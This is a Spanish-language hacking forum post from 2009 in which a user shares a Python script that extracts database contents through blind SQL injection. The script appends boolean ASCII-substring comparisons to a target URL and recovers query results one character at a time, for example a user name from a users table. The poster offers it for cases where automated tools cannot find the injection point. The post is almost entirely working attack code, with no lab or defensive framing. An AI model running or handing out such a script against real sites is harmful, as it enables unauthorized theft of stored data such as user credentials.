Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: nacho87 en 2 Noviembre 2009, 21:09 pm



Título: Script para extraer datos de bsqli en python
Publicado por: nacho87 en 2 Noviembre 2009, 21:09 pm
hola a todos!
hace algún tiempo publiqué éste script en la sección de scripting del foro pero ahora me doy cuenta de que lo debería haber puesto aquí. Es un script para extraer datos de una inyección sql ciega. Viene bien caundo otras herramientas automáticas no detectan el punto de inyección. Modificando un poco el code sirve para todas las situaciones.
Me gustartía que me dijerais de qué forma mejorarías la forma de encontrar el caracter correcto ya que me método es bastante cutre.jeje.
Código
  1. #!/usr/bin/python
  2. # -*- coding: iso-8859-1 -*-
  3.  
  4. import re
  5. import urllib
  6. import urllib2
  7. import sys
  8. import cookielib
  9. from socket import ssl
  10.  
  11. ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
  12. h = {"User-Agent" : ua}
  13.  
  14. letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
  15.  
  16. usage =  "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  17. usage += "usage: %s \"url\" \"consulta sql\"   \n" % sys.argv[0]
  18. usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" %  sys.argv[0]
  19. usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  20. if len(sys.argv) < 3:
  21. print usage
  22. exit()
  23.  
  24. hsh = urllib2.HTTPSHandler()
  25. cookie_h = urllib2.HTTPCookieProcessor()
  26. opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
  27. urllib2.install_opener(opener)
  28.  
  29. x = 1
  30. y = 45
  31.  
  32. url = sys.argv[1]
  33. param = sys.argv[2]
  34. sql = param.replace(" ", "%20")
  35.  
  36. def mayor():
  37. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")                  
  38. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  39. return 1
  40. def menor():
  41. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
  42. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  43. return 1
  44. def salida():
  45. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
  46. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  47. return 1
  48. def acierto():
  49. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
  50. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  51. return 1
  52.  
  53. try:
  54.    while True:
  55. if acierto():
  56. x += 1
  57. print letra[y]
  58. if salida():
  59. exit()
  60.  
  61. elif mayor():
  62. y += 10
  63. if mayor():
  64. y += 5
  65. elif menor():
  66. y -= 1
  67. elif acierto():
  68. x += 1
  69. print letra[y]
  70. else:
  71. if menor():
  72. y -= 7
  73. if menor():
  74. y -= 10
  75. elif mayor():
  76. y += 1
  77. elif acierto():
  78. x += 1
  79. print letra[y]
  80. else:
  81. print "error"
  82. exit()
  83.  
  84. except KeyboardInterrupt:
  85.     print "\n Cierro"

Un saludo!!